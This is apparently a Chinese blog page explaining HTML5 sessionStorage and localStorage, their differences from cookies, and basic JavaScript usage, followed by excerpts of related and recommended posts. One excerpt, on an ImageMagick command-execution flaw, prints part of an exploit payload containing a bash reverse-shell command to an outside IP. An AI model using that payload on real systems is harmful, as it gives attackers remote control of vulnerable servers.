Web Storage包括了两种存储方式:sessionStorage和localStorage

sessionStorage 是会话级别的存储,这些数据只有在同一个会话中的页面才能访问并且当会话结束后数据也随之销毁。

localStorage 是持久化的本地存储,除非主动删除数据,否则数据是永远不会过期的。

Web Storage与cookie异同

  1. cookie 支持的数据内容小,8k左右。localStorage目前能支持到10M。
  2. 每次请求一个新的页面的时候Cookie都会被发送过去,浪费了带宽。
  3. cookie 需要指定作用域,不可以跨域调用。
  4. Web Storage 拥有setItem,getItem,removeItem,clear等方法,cookie 需要前端开发者自己封装setCookie,getCookie方法。

localStorage浏览器支持情况

 <script type="text/javascript">
// method one
if(window.localStorage){
alert("浏览支持localStorage")
}else{
alert("浏览暂不支持localStorage")
}
// method two
if(typeof window.localStorage == 'undefined') {
alert("浏览暂不支持localStorage")
}
</script>

localStorage和sessionStorage操作

  • localStorage.setItem(key,value)    // 设置键值对
  • localStorage.getItem(key)      // 通过键值读取对应的值
  • localStorage.removeItem(key)    // 通过键值移除对应的值
  • localStorage.clear()        // 初始化localStorage,清除所有键值对
  • localStorage.key(index)     // 通过下标index来获取指定索引的key名

其他操作方法:点操作和[ ]

 <script type="text/javascript">
var storage = window.localStorage;
storage.key1 = "hello";
storage["key2"] = "world";
console.log(storage.key1);
console.log(storage["key2"]);
</script>

相关:IE专属存储 UserData.

html5 Web Storage(localStorage(),sessionStorage())的更多相关文章

  1. HTML5存储 ——Web Storage(localStorage 和 sessionStorage)

    一.localStorage对象临时储存API 方法: 1.localStorage.setItem(key,value)---设置存储内容 2.localStorage.getItem(key)-- ...

  2. h5本地缓存(localStorage,sessionStorage)

    H5本地存储数据 localStorage,sessionStorage的区别: 相同点:  缓存数据比cookie的范围大; localStorage:关闭浏览器数据不会消失,除非手动删除数据 se ...

  3. [web 前端] web本地存储(localStorage、sessionStorage)

    cp from : https://blog.csdn.net/mjzhang1993/article/details/70820868 web 本地存储 (localStorage.sessionS ...

  4. web本地存储(localStorage、sessionStorage)

    web 本地存储 (localStorage.sessionStorage) 说明 对浏览器来说,使用 Web Storage 存储键值对比存储 Cookie 方式更直观,而且容量更大,它包含两种:l ...

  5. web 本地存储 (localStorage、sessionStorage)

    web 本地存储 (localStorage.sessionStorage,cookie) localStorage(长期储存):即使关闭浏览器数据也不会删除,除非使用localStorage.cle ...

  6. 使用HTML5 Web存储的localStorage和sessionStorage方式

    localStorage(本地存储),可以长期存储数据,没有时间限制,一天,一年,两年甚至更长,数据都可以使用.sessionStorage(会话存储),只有在浏览器被关闭之前使用,创建另一个页面时同 ...

  7. Html5 web 本地存储 (localStorage、sessionStorage)

    HTML5 提供了两种在客户端存储数据的新方法localStorage,sessionStorage sessionStorage(临时存储) :为每一个数据源维持一个存储区域,在浏览器打开期间存在, ...

  8. web存储机制(localStorage和sessionStorage)

    web存储包括两种:sessionStorage 和 localStorage(都是限定在文档源级别,非同源文档间无法共享) 1.sessionStorage 数据放在服务器上(IE不支持) 严格用于 ...

  9. HTML5 web存储之LocalStorage和sessionStorage

    什么是localstorage 前几天在老项目中发现有对cookie的操作觉得很奇怪,咨询下来是要缓存一些信息,以避免在URL上面传递参数,但没有考虑过cookie会带来什么问题: ① cookie大 ...

随机推荐

  1. QSpinBox 和 QSlider 联合使用方法

    在Qt中,有时候我们想要联合QSpinBox 和 QSlider,使得移动滑块,QSpinBox中的数据会变化,或者我们在QSpinBox中输入一个数值,响应的滑块也会变化,如下图所示:

  2. Linux_linux中profile、bashrc、bash_profile之间的区别和联系(转)

    /etc/profile:此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行. 并从/etc/profile.d目录的配置文件中搜集shell的设置. 英文描述为: # /etc/p ...

  3. cat命令在文件中插入内容

    eg: cat>> xxx <<EOFinsert 1insert 2 EOF

  4. JQ写法和js写法 方法函数化

    <script> $(function () { $('#head').click=function () { alert($(this).html()) } }) </script ...

  5. php引用&符号详解——————给变量起小名

    学习了这篇博客[http://blog.csdn.net/jiedushi/article/details/6428585] php中引用采用的是“写时拷贝”的原理,就是除非发生写操作,指向同一个地址 ...

  6. ImageMagick又一处命令执行

    push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>& ...

  7. bug0

    1,编码 之前做支付验证的时候,sdk的平台token串有的就是会有空格,折腾了很久,前后端对调好多次都没发现这个问题.结果有的平台验证通过,有的通不过. 仔细调试后发现不通过的url中参数串都是带有 ...

  8. tomcat启动闪退

    TOMCAT启动时报错:the CATALINA_HOME environment variable is not defined correctly 运行tomcat/bin目录下的startup. ...

  9. Win8.1屏幕亮度自动调节关闭方法

    细心的朋友会发现,Win8.1系统的笔记本屏幕亮度有时候,会根据外界光线亮度以及温度自动调节屏幕亮度,尽管看似比较智能,但有时候我们并不希望笔记本屏幕亮度受光线影响,忽暗忽亮.如果我们希望Win8笔记 ...

  10. Android Studio编译运行project报错:····· finished with non-zero exit value 1

    错误代码: Error:Execution failed for task ':app:transformClassesWithDexForDebug'. > com.android.ide.c ...